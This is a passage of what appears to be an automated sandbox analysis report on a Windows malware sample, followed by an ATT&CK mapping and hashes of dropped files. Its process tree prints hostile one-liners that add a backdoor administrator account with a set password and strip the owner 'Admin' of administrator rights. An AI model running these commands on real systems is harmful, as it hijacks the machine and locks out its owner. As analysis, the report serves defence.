      Executes a command shell one-liner
      PID:336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title NICO owns Admin-PC
      4⤵
      Executes a command shell one-liner
      PID:3444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title NICO is taking Admin's admin rights
      4⤵
      Executes a command shell one-liner
      PID:3208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "net user "Princess Nico" NicoOwnsYouNow /add"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1200
    - - C:\Windows\system32\net.exe
        
        net user "Princess Nico" NicoOwnsYouNow /add
        5⤵
        Creates a new local user account
        Suspicious use of WriteProcessMemory
        
        PID:1052
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user "Princess Nico" NicoOwnsYouNow /add
        6⤵
        Creates a new local user account
        
        PID:564
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "net localgroup Administrators "Princess Nico" /add"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:6064
    - - C:\Windows\system32\net.exe
        
        net localgroup Administrators "Princess Nico" /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1908
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "Princess Nico" /add
        6⤵
        
        PID:6020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title dethroning Admin
      4⤵
      Executes a command shell one-liner
      PID:2068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "net localgroup Users Admin /add"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3296
    - - C:\Windows\system32\net.exe
        
        net localgroup Users Admin /add
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5508
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Users Admin /add
        6⤵
        
        PID:4324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "net localgroup Administrators Admin /delete"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4828
    - - C:\Windows\system32\net.exe
        
        net localgroup Administrators Admin /delete
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4376
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Admin /delete
        6⤵
        
        PID:4916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title NICO IS VIEWING
      4⤵
      Executes a command shell one-liner
      PID:1936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c title signing out Admin
      4⤵
      Executes a command shell one-liner
      PID:4164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5508,i,3225611442922175185,12476171276294347136,262144 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6120 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3376
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=6120,i,14833988122238436946,7815110020989668293,524288 --field-trial-handle=1636,i,455422792309080997,14141769040609373708,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4276 /prefetch:14
  2⤵
  PID:4760

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1488

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39c9855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Account Manipulation

T1098

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

030badb3-feb5-4890-9479-ff74e5111b27.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\030badb3-feb5-4890-9479-ff74e5111b27.tmp
Size 132KB
SHA256 093531a0e9fd6f560cdd7c53a97b6c8dffd9f04d055b9cb33d21ca68758bf415
MD5 15834683e3eff3baebf4629b8b41ed2d
SHA1 4f9231e918ea730febd7f8c87c141b8c2fccaecd
SHA512 f9bca40cb13f9d39014447280fe4fbf455274a0080c2255902e6a8ac0d39be856144ef558791b224bb3641e285818a5fed93d15335283fe1a5fb6d1fcfb6123c
SSDEEP 3072:baH2By3RJD4diWs9aJ0xN6nGvw8xUNTfd3OUhLHfS60ApJjk:bat4fLJ0L6nGJxi3bzqapJjk
TLSH
T16AD302F0C5A06C7ACFFBFE4145756E908E71D5C6498DBE2409F98C4806CAA784A13EB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

51d8a9db-5dc5-4651-970b-82ba3425a9d3.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\51d8a9db-5dc5-4651-970b-82ba3425a9d3.tmp
Size 130KB
SHA256 6e15d24ab4314e20a9b7fb4a9aaf2659352d33ba4d0888e3459a4ce57e2c9209
MD5 46a804001a7359661caf2eca1660f29e
SHA1 5e54e9e5424ea39a10791a39fa59fcbedc3d82c8
SHA512 9cdd4ed520f6cb72c72a85f66db8ac8c5a697f05c747efadcd074f3376cb154407e547e6fa77d6fa554efd2e5782968512b04f4137e16835c0f19c72866c3996
SSDEEP 3072:nH2By3RJD4diWs9aJ0xN6nGvw8xUNTfd3OUhLHfS60ApJjk:Ft4fLJ0L6nGJxi3bzqapJjk
TLSH
T11AD302F0D5A06C7ACBFBEE4145756E948F71D5C289CDBE2409FD881816CEA344A13EA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5f4e0c73-4290-4bda-8052-6f194c00978c.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\5f4e0c73-4290-4bda-8052-6f194c00978c.tmp
Size 131KB
SHA256 39b5074f18412d902dbf5f1ef2ad6215e90fe19931b08c76b83b73a5da0cc86e
MD5 b1610d77d4ca628078b59b4250b404ae
SHA1 55d02b20075bb92503a4bb9998ba61dfe62d355a
SHA512 5642488aeb250d7967c2658855d8858fdcfd0952d294d0f9020adf9f5a974a326ddfb4d804331eb36d6e2b80cf246c3a354832c9609f33b2c826cea95a9bb1b5
SSDEEP 3072:p1H2By3RJD4diWs9aJ0xN6nGvw8xUNTfd3OUhLHfS60ApJjk:pbt4fLJ0L6nGJxi3bzqapJjk
TLSH
T1F7D312F0D5E06C7ACBFBEE5145756E948E71D5C289CDBE2405FA881806CEA344E13EA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

64a65c46-f8ce-4f43-8615-7a60f9014c1a.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\64a65c46-f8ce-4f43-8615-7a60f9014c1a.tmp
Size 131KB
SHA256 cdfe4ad6d23a623122a3f9020f3c59d03e51f0c212cf3b754193ed67b024f926
MD5 1da6f8cf33b61f77b1f59005c82aaf70
SHA1 202ae8adbfdcf6a4be0f3d365374e093a4b84879
SHA512 63174bdd1ae0b4ec368c3401977fc8120b7af130d600d9f7db554044b670278d8d9a5ddcf6d91f84a0fe62a02633a5c40c6e38262fe4c19ba69e97717db914ec
SSDEEP 3072:+1H2By3RJD4diWs9aJ0xN6nGvw8xUNTfd3OUhLHfS60ApJjk:+bt4fLJ0L6nGJxi3bzqapJjk
TLSH
T125D302F0D5E06C7ACBFBEE5145756E948E71D5C289CDBE2405FA881806CEA344E13EA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

79da3897-7ec1-4bb9-9a63-1d65ba5007c9.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\79da3897-7ec1-4bb9-9a63-1d65ba5007c9.tmp
Size 131KB
SHA256 31585b0f86aaa9f9f344e9f72d3979f722191ab31f41e0fb5e579fac224b0ef9
MD5 6b9c1bf194df0e7e971af64d58e421e5
SHA1 0acec0d3eaa9042f5f4dbaa1a4885a6ee4310d37
SHA512 1d698a4d743429f2cfca4734192c336da1126152e8ee01afa16b4f726d304e6073c8da61a4ddba775786e5751237260ae22abe23a83d88e9f6f27e74871abdf2
SSDEEP 3072:jaH2By3RJD4diWs9aJ0xN6nGvw8xUNTfd3OUhLHfS60ApJjk:jat4fLJ0L6nGJxi3bzqapJjk
TLSH
T1FAD302F0C5A06C7ACFFBFE4145756E908E71D5C6498DBE2409F98C4806CAA784A13EB3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

166eedd3-e157-48f2-838f-2dd404a2feef.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\166eedd3-e157-48f2-838f-2dd404a2feef.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

1ab64a27-aa14-490f-a8b5-edcf247dfa7f.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\1ab64a27-aa14-490f-a8b5-edcf247dfa7f.tmp
Size 13KB
SHA256 f3748b8e00466eb21877b7913d323c23662c5fa22ae98224c459f3f51aeeed21
MD5 e3155992afc4968719ca8d5a181f42b9
SHA1 56e34d8f555f07fdb0ff7d23664f7d8c0c2df825
SHA512 01af3b0d94545fcf285f607c11284194b472ae320c5faff261087fdd0006fbb041218b69870b5861c360be97da29d69168cf24099e6238b3773a7886fd9091f7
SSDEEP 192:iRhwz15/Bkv7bpAPRp2XbOlP9/Hsb+WNnqqBzfedvc5kwwaAMuVyIsnAUgE:iRhwVAPUX+stwLFe65QawE
TLSH
T17452C62DAC147A7B9CDBD229F9167713E7F5102160D02E88EAFC8D2C15E7ACD2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4007538d-338a-4b67-b7ed-a9539e5659c0.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\4007538d-338a-4b67-b7ed-a9539e5659c0.tmp
Size 414B
SHA256 2ecb98d7fc10a392b6b59f7f201b1acddbd77229fc01fd27a567a7776be3701f
MD5 96a53ddca557c1e77570369dd8c926ed
SHA1 cb3b0be859b5ff9d1c2395a1793e307c4f4a2a20
SHA512 f006e8c71e1918c301d8257ebe89bf4ea82b5c35061e43d6ffe32929236d3054c764674d34fa576f9a3315a985659a05210a6cfb587d0173ffd4ba57069bf3b6
TLSH
T1E1E02B69C820FC3718FE071C5450474AD64063173790555F7A3D811D8FB063606DA82C
MD5 SHA1 SHA512 TLSH

Submit Download

86909e5d-3791-49f4-91f0-6c32cb401138.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\86909e5d-3791-49f4-91f0-6c32cb401138.tmp
Size 17KB
SHA256 de13521758ef1bfcb2d2450b3cf0a7a99cd0970c06b92340bd4289551bfc2ad6
MD5 b0928f3b5aacd381a50cb79484995d2d
SHA1 ba2f982a9d1dd6c557ee7a37adadea8daab8b737
SHA512 af3e8c9148f12d0e4fb4988464bd2a8f2df2e47ea7c5f1cab56fe717533c7f2da51919aeb6a09e6a8b95119e5735947b80bbd19844feb7e8ffa58cbd1ddf81e1
SSDEEP 384:Q2j8z7KxkXqKf/pUZNCgVLH2HfgslO07pLuLceSe/XOD8P+ErU3fKHGFwjj9B:Q28z7KxkXqKf/pUZNCgVLH2HfgsI07p+
TLSH
T1E47209676C4C997B0F98CACCCC267A4FADB5024B65E9886443FA5C2903D4ACF110A2F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
Size 456B
SHA256 1ec709d9c34356cb255f477f1e44aa4e578505ac851afc1cb6a5e67e954ed483
MD5 6d5242fa1bd441d6137a50c6bd2d40bc
SHA1 1e431a247cdd636ea2f22de7038275e5cedad323
SHA512 99b9a9a8f1d4d6005d249f1c37631e4d204f7cab31e10bced7a3143d5cf4d0921e9bd5545456b64ae2f2c35b09d4ea576c604680987b24283e00cf58c5eef8b5
TLSH
T116F02025DDD85410E77A053B25A004B83B71599F814F7D91F674C4714C57BAB8845408
MD5 SHA1 SHA512 TLSH

Submit Download

53df0444-506e-4080-a9cc-0e3ecc7acdc4.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\53df0444-506e-4080-a9cc-0e3ecc7acdc4.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

98e476fe-7538-4acb-810f-ac438357bf39.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\98e476fe-7538-4acb-810f-ac438357bf39.tmp
Size 5KB
SHA256 ba3bface521dcddc4a342a9bab4a01f7094fec8b1411cc2b67b9c5e4feaf63d7
MD5 9914fc03ec4d278b8af96f2f8889705b
SHA1 a5e9b09c5e6068ad15e2dc0e81e1511059816237
SHA512 6553e5d21541edbc6cf9d2f69cb86d24c634305c17487ae9e9840cd7b32b2c101fa1991223b86d24a668b10c2a18f86bc068fb7f53d3a3df56cf38a3adc50ff9
SSDEEP 96:DXGju+jeJj3maIEadMJnJdJjnPJjM7JjXJxbJ+vjcjhzjhZJj9brJjFdJJjBNJ5T:DXGjvjeJj3maIEadMJnJdJjPJjM7JjXJ
TLSH
T192C19CF3C3E4452DDA1156F0AA152F2FCE29095A136C3C1688D8AF4FA3F19B2E35464E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
Size 120B
SHA256 7c17d52641a091e9133d70235b76134a0c4e60122343260c2f8ca452aafe8f7d
MD5 1c17ee6cf4ec718780f3943cddad8bb4
SHA1 37d2c8d88d9301136710276ea3d61b58381216f6
SHA512 2134f4080f0142f2a464b3460f303aaec7ed7f54c4a06b5c29b5656ccabb7e3adb51adabc23e34482d5c3a0da49a4dad4fb741bf1d60ed4ff1118eb028e6dac4
TLSH
T166B01219C0456311C00503721358905832A0CF34D113139AA9E00D1588311614027249
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 1033eed83ef64ea1d9cc4cb6cf8f297ba15a006866f1ce591076427ea6d8177b
MD5 c2ab07a83952d09b15f57e31647bd87e
SHA1 4fb2ca423695a0a3d8272400f74bdcab19d6b897
SHA512 8309ba2c4233b5ee2aaebe3d45913adf6f0ab53a3b94e8c63c0529aae2ce8b372f065a7637853f80d015bacd1eb2a688546e208de5656b69f883326ccd70df47
TLSH
T10DB022C0CB032202C00203B0208080C83022CF20C2030303C2E00A32EC38A3008203A0
MD5 SHA1 SHA512 TLSH

Submit Download

c6a61251-4766-4b98-a35b-107203b7e069.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\c6a61251-4766-4b98-a35b-107203b7e069.tmp
Size 12KB
SHA256 fe3563eb94ddb598a8880901762d572f588e1e45cf873e536ebba9ea78cfc0ce
MD5 c31a87013af1fd6b3f3e8d8c9423d7b6
SHA1 a3e438ba08e7a60522f488bc06d2cae5547f045d
SHA512 4f30e35e48b181a6741bcb64accf64c964617004c0b48455c45fb707603823c01a7242e717fd2d60cd404e5718f101f68cb98280ad26cb04318b01c14905ac7c
SSDEEP 192:iRU0z15/BYv7bpAPRp2Xjlk9/Hsb+WNnqqBFa22vc5kwwaAMcVyIsnAUge:iRU0VEPUX+utwLi2J5Qa6e
TLSH
T16442B42EAD187A7B9CDBD229F9157753D7F9102160E42E88EAFC8D2C14D7ACD2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d6f1f558-e252-44c5-bd9e-a4d18e515032.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\d6f1f558-e252-44c5-bd9e-a4d18e515032.tmp
Size 12KB
SHA256 074ad4164368532f7d0e0437f2609b6abaea1a5136e5a69279ffa52c2c21b5ad
MD5 0bc0d0fe32555254bc7c6239a1dbc1ae
SHA1 dec754ef76dfc83e3638e82069e7b9f94ccb89e3
SHA512 616e67a2a62a7dc3e437514779d03bfc9965bef03e79af1a2298006538df1de28b885f98d6911f2c5835aa0f3d527e18c7b8f7d064055a541bad1dffb5ff6bab
SSDEEP 192:iRUwz15/Bkv7bpAPRp2XbOlP9/Hsb+WNnqqBzfeBvc5kwwaAMcVyIsnAUge:iRUwVAPUX+stwLFeW5Qa6e
TLSH
T1E142C52DAD147A7B9CDBD229F9167753D7F9102160E42E88EAFC8D2C14E7ACD2227017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SDL2.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\SDL2.dll
Size 1.5MB
SHA256 b37740a72a7a9706216df9f0134894bb7a850b356fd149398c67d874cbcfacb4
MD5 34f609d1d268b45375488132be61e858
SHA1 42c3057e68c8546df6c902155781bb1f7b808c11
SHA512 105ea5439ec87943b78ccd6920977c8212d93fc740828f14e428618a6db4e425b3126a64f0c6dd434a76c4e6d4781d11ca0af4201808ea00644fd5824399438b
SSDEEP 24576:SWnSPN8EL05SuQZ7MDFKTQ6G/BqBE3iQBt30o2Thzp:SOSmEL05xQZoIG/BUE3H30o
TLSH
T196759D4FB3B605A9C92740BAC287761BD376740827D15BDF2B540BEA2E33BE4157A360
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SDL2_image.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\SDL2_image.dll
Size 154KB
SHA256 71607e840f462799652023d394fad7aed1f348a3cd52f88a8b3b7842fa7a3147
MD5 c2bdc5f682b39f99204422a1326e1862
SHA1 15c2b22d2a05f5a0189898e058a98bf3cef6faaa
SHA512 790bab90c0db91026e4f432ea957c16ae6c8f95413a3e6b218eaeccf683d10ddc475f0e9f7a91e06c3b413f7c370938a373dd0733c69d50c9ab3ec0dc4b587b9
SSDEEP 3072:lIbHY7q5Yms8vMzxE0NylbzAwFHs3vja3FkX4tNzdr+qauc1HUiOARmGtX:lIbHY7q5Yms8vMzxE0N+zAsHs3vja3Fq
TLSH
T123F37D05B2A560F9E837E0789AA2F01BF6B17415033195EB1BD14FB82F23BD1777A612
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SDL2_mixer.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\SDL2_mixer.dll
Size 416KB
SHA256 0edd228575842920848b204cf7b9707d4159366d8ed7cee74c592462a3a503fd
MD5 7762a3aef90dfc5eafb96955c24e6de2
SHA1 318a596eb06086303f3c6c555d2b7c19f8de30a4
SHA512 69b5cfda771ec2212bc96cbb490379c40584f4acdf72486928fe958337eb014a62309bc3cc725fa006fa65926726db69055e695d0362415e04695e86cffc08a2
SSDEEP 6144:Q7SNAh0oFSbbqB7e5dyM/7PE6jTfqEArMlaI0HDfT+7RW8jBhZVhRjjl6KmgSh0L:smbH/SEAryRnVhZ9jl6KEh0wRssFo2U
TLSH
T12C947C51F2E605E8E9B3C53CC5A7920BE2B1741407609EDF87D18B792F12AD1723BB92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SDL2_ttf.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\SDL2_ttf.dll
Size 1.7MB
SHA256 86febaf2ca137e417808a646b5920cdd10d7093b30a2071abde40b012c923c3d
MD5 ff039c2ca71c26671f4591b44dfa5b2b
SHA1 e9bf644363585170b9911c0e09a3f6a58b0f5ccf
SHA512 d1e28c336401903002013719bcd45378d96bd11d182d71efeb6d91bb24f054d53ac83ee54195dee618481f93f379a81761289d0180e81e4c488389ec978f3647
SSDEEP 24576:s+7y8TiQuvla3o2bOOKL/xkcLiLbKbMMf0cQJ7He53GZYUZ035y582B9JRvdTaqP:s2TUlmueLb/dTaqiv/K4t
TLSH
T1D885AE49F2A651F8C5BF8178C666890FE7B1B40513149BEB26A48A56FF23FF1163E310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_asyncio.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_asyncio.pyd
Size 76KB
SHA256 f9594a2a4f45570dbfdf1f3471194ae7b27dc117c54b9af6bc22df9c93830f8b
MD5 980a5c44f56b8a1fc5ded137bb24b98f
SHA1 c910335351d9ff2e6a633e57430c6d385d223c84
SHA512 3fe0f42b4f9f8aaf30c03b79569b20c98a34c74e0a6e83f4a34f580f85c5a27292f698f2e98c938e790c49eef239fba1718af6d2b950195c59bd72778db69d07
SSDEEP 1536:xB5L5Ue77RDfSy6wcIpDnTVyPs5i9XfIYMh:xB5N3lDfSybcIpDnbX
TLSH
T1B0736B8792A44186EEB79174CE536FD7FBB0F1855A00939F5294C18F1F533A18BBA322
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_bz2.pyd
Size 86KB
SHA256 b938073c85cf6b9fe80556d7899ed1901e5e60b7adea2832442376239fb36b36
MD5 4cc74cced07914bd71dc9c4d2a3f127a
SHA1 77bda774eff7c8afc94892d2d5d63dd3c80f9ea4
SHA512 8f81a5287bc5f59eeb6bb6703c00495cf761816e6eb20b6cb401af20040464fffc5b5e95d21b49d6260debb9cfac4031cf87b5248c0077fa8edd0d390cc1910b
SSDEEP 1536:+/BvOKz7hvAKyRXzgwnZpfzyONpGX/4TjW8hSlUbrjvUIp3VJyPs5i9EfIY+8i:YBvLztGRXHyONpE/ajhwYXUIp3VGV
TLSH
T185838E87E3A463F6F6AB81B4D6810753E730BB460750A3AFB24482853F23F91AE59355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_ctypes.pyd
Size 139KB
SHA256 408cc4e7a22ffa418ca52f5e13fe9268a3c50a2bc9de02b0530b555ef591bc5a
MD5 659510afbc97992af071a0e2a75545ef
SHA1 ec7dba6821ccc0e6b9f851d39812e0de3627130b
SHA512 76a243fb96129041bccf92c2e231efdb53aba519bb26d919dc8b213e949fc0534448bf75400702c03850abb7cd24b1cbd37e0d0c76615a34248615aa44cde4d1
SSDEEP 3072:e/n1qQ8rqSN56EBZSQ4ED1O/IxswJQW2DfrFAIpGPMS:on1Jb86JE0/IxfSvF6
TLSH
T149D38F4B736840E6DA678138C6739E47EBB1F4511A1087CF02A4C99B1F637A2AE3F715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_decimal.pyd
Size 284KB
SHA256 bc3a61685825ae37a4cd2b2b87fa27af12e01575c4f920788ea806e6781a2c79
MD5 c75e9f59ed7df7cc913dc966c8caea2e
SHA1 7b3a83474270b5fecea3c4f9864cf3cf056da695
SHA512 284e0acf04cee094dc953c88d8311ab69b8ea25a844077e70d3a5d9e8531dc69ef0313ee8c2e82af6e7785dd266f565cc21306d5dac36be188c8d1be01365b5c
SSDEEP 6144:PgR0o97cPAEIiIKG5iGqqM43fIWeA5euMt7uq/X:PgR0o97cPdIiI7NO/b/X
TLSH
T1C4547D56A3490CA4EF738074CA479A57F7B2B8414360D78F43A48AA72F933A3677E744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_elementtree.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_elementtree.pyd
Size 135KB
SHA256 d8a17f9c831e313b440e19e0d26e6c0e7ed830ff1f657887cbc26664d6ef4973
MD5 77afe888532130199b23acaf7c6c6b05
SHA1 1f0a135cf1d8fe0e58e60665a7f83ff3351215a5
SHA512 50f3e9110f9692474055a94b50b1f5bbe3d4f86a45216f348a54728b867a1f08c8d74a4ce2edf2d28e4970ef1e433498c703a10e1e7f5588e5c8e433ca007ff5
SSDEEP 3072:zGElDQimoarGA30tMjFuUC5UCm58VKMD/JKpeYeowPbwkIpffhc:zGQDHO30te9C5UCmY/Apsow0w
TLSH
T1F7D35A9B7265C0ABE462403CE2578B53D7B6F9610E0083CF6294F69D5F273817F6A728
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_hashlib.pyd
Size 67KB
SHA256 5933ef5eda7c0bca0b3874a6e2c5f13b91b8f2cfc29bc46160df3212a1dbee79
MD5 3fbad145af85337e0c05dbc5ae6c0b4c
SHA1 fff5ebc3b2f044fbf024605f02a37554fded3b17
SHA512 aeaf32f2c73da687bb847bb89daf80119d5f2927b439330cb92158180b2fb48013be449228ff40d0be5833cfba3b599265cf9ee84b066f6bff9443bb9005bd65
SSDEEP 1536:OXwAzOYBQc17JKRQ+C5cIpDILyPs5i9nfIbHHnM:AJ/tJKRQ+IcIpDIJTs
TLSH
T11C635A86A6984092DA2382B5C9E34F43F974F2522B0197DF6678C18E2F233C3577B756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_lzma.pyd
Size 157KB
SHA256 d2abf8db7fb0cf6285663b177991691a41b37e215c3d71fd087a98d8ec1bee63
MD5 e882005d06af06ef17b2338342b3f41e
SHA1 96dfac53ce267a9dd4d094bf5c5a665bc1cedfe9
SHA512 1e53c3501796da814f75ba8fc683720e968c5944fbeb2b9836c48a6656df0da120c075bc6c17ea788efa14be11f29172e80c64febe72e43502a02f707a5928dd
SSDEEP 3072:NJ66g4T5QW7JfyjEqkSkA51b4rznfJ9mNoVUIsbUIpI1yUx1:NUR4Tp4QPZ8N4nxYOIbHy
TLSH
T1FDF34C86B794F0E6F7328C78D2614F57E6F5781A0320929A01CC976D2B1FB759A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000017e82\_zstd.pyd
Size 491KB
